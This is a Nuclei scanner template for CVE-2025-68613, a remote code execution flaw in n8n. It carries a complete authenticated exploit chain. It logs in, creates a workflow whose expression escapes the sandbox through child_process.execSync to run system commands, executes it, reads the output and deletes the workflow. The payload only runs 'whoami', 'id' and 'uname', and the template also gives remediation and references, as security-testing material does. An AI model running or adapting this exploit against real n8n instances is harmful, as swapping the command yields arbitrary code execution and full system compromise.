id: CVE-2025-68613
info:
name: n8n - Remote Code Execution via Expression Injection
author: rxerium,PentesterFlow,MuhamadJuwandi
severity: critical
description: |
n8n < 1.120.4, 1.121.1, 1.122.0 contains a remote code execution caused by insufficient isolation in workflow expression evaluation, letting authenticated attackers execute arbitrary code with n8n process privileges. Exploit requires authentication.
impact: |
Authenticated attackers can execute arbitrary code with n8n process privileges, potentially leading to full system compromise.
remediation: |
Upgrade to versions 1.120.4, 1.121.1, or 1.122.0 or later.
reference:
- https://github.com/n8n-io/n8n/security/advisories/GHSA-v98v-ff95-f3cp
- https://nvd.nist.gov/vuln/detail/CVE-2025-68613
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.9
cve-id: CVE-2025-68613
epss-score: 0.08424
epss-percentile: 0.92043
cwe-id: CWE-94
metadata:
vendor: n8n
product: n8n
verified: true
max-request: 7
shodan-query: http.favicon.hash:-831756631
tags: cve,cve2025,n8n,authenticated,rce,intrusive
variables:
randstr: "{{rand_base(8)}}"
n8n_email: "{{n8n_email}}"
n8n_password: "{{n8n_password}}"
flow: |
http("version-check");
let email = template["n8n_email"];
let password = template["n8n_password"];
if (email && password && email.length > 0 && password.length > 0) {
http("login") && http("create-workflow") && http("run-workflow") && http("get-results") && http("delete-workflow");
}
http:
- id: version-check
raw:
- |
GET /signin HTTP/1.1
Host: {{Hostname}}
Accept: */*
extractors:
- type: regex
name: base64_content
group: 1
regex:
- '<meta name="n8n:config:sentry" content="([A-Za-z0-9+/=]+)"'
internal: true
- type: dsl
name: version
dsl:
- 'replace_regex(base64_decode(base64_content), ".*n8n@([0-9]+\\.[0-9]+\\.[0-9]+).*", "$1")'
internal: true
- type: dsl
dsl:
- '"n8n Version: " + version'
matchers:
- type: dsl
name: version_check
dsl:
- '(compare_versions(version, ">= 0.211.0") && compare_versions(version, "< 1.120.4")) || (compare_versions(version, ">= 1.121.0") && compare_versions(version, "< 1.121.1"))'
- 'contains(body, "<title>n8n.io")'
condition: and
- id: login
raw:
- |
POST /rest/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"emailOrLdapLoginId":"{{n8n_email}}","password":"{{n8n_password}}"}
matchers:
- type: status
status:
- 200
internal: true
- id: create-workflow
raw:
- |
POST /rest/workflows HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name":"rce-test-{{randstr}}","active":false,"nodes":[{"parameters":{},"name":"Manual Trigger","type":"n8n-nodes-base.manualTrigger","typeVersion":1,"position":[250,300],"id":"trigger-{{randstr}}"},{"parameters":{"values":{"string":[{"name":"rce_result","value":"={{ (function() { var require = this.process.mainModule.require; var execSync = require('child_process').execSync; return execSync('whoami && id && uname -a').toString(); })() }}"}]}},"name":"RCE Test","type":"n8n-nodes-base.set","typeVersion":2,"position":[450,300],"id":"set-{{randstr}}"}],"connections":{"Manual Trigger":{"main":[[{"node":"RCE Test","type":"main","index":0}]]}},"settings":{}}
extractors:
- type: regex
name: workflow_id
part: body
internal: true
regex:
- '"createdAt":"[^"]+","id":"([a-zA-Z0-9]+)"'
group: 1
matchers:
- type: status
status:
- 200
internal: true
- id: run-workflow
raw:
- |
POST /rest/workflows/{{workflow_id}}/run HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"workflowData":{"id":"{{workflow_id}}","name":"rce-test-{{randstr}}","active":false,"nodes":[{"parameters":{},"name":"Manual Trigger","type":"n8n-nodes-base.manualTrigger","typeVersion":1,"position":[250,300],"id":"trigger-{{randstr}}"},{"parameters":{"values":{"string":[{"name":"rce_result","value":"={{ (function() { var require = this.process.mainModule.require; var execSync = require('child_process').execSync; return execSync('whoami && id && uname -a').toString(); })() }}"}]}},"name":"RCE Test","type":"n8n-nodes-base.set","typeVersion":2,"position":[450,300],"id":"set-{{randstr}}"}],"connections":{"Manual Trigger":{"main":[[{"node":"RCE Test","type":"main","index":0}]]}},"settings":{}}}
extractors:
- type: regex
name: execution_id
part: body
internal: true
regex:
- '"executionId":"([0-9]+)"'
group: 1
matchers:
- type: status
status:
- 200
internal: true
- id: get-results
raw:
- |
GET /rest/executions/{{execution_id}}?{{wait_for(3)}} HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: rce_output
part: body
regex:
- '"([^"]*uid=[0-9]+\([^)]+\)[^"]*)"'
group: 1
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- 'uid=[0-9]+\([a-zA-Z0-9_-]+\)'
- type: status
status:
- 200
- id: delete-workflow
raw:
- |
POST /rest/workflows/{{workflow_id}}/archive?{{wait_for(2)}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{}
- |
DELETE /rest/workflows/{{workflow_id}}?{{wait_for(2)}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: status
status:
- 200
internal: true
# digest: 490a004630440220539b5116f9f424a34c47ac815b7a6df85025a58db80e681acec950a7219a18b6022073e88d13a68304ecc41f828562cdc775bc3230647047caab601a111095d9d6b9:922c64590222798bb761d5b6d8e72950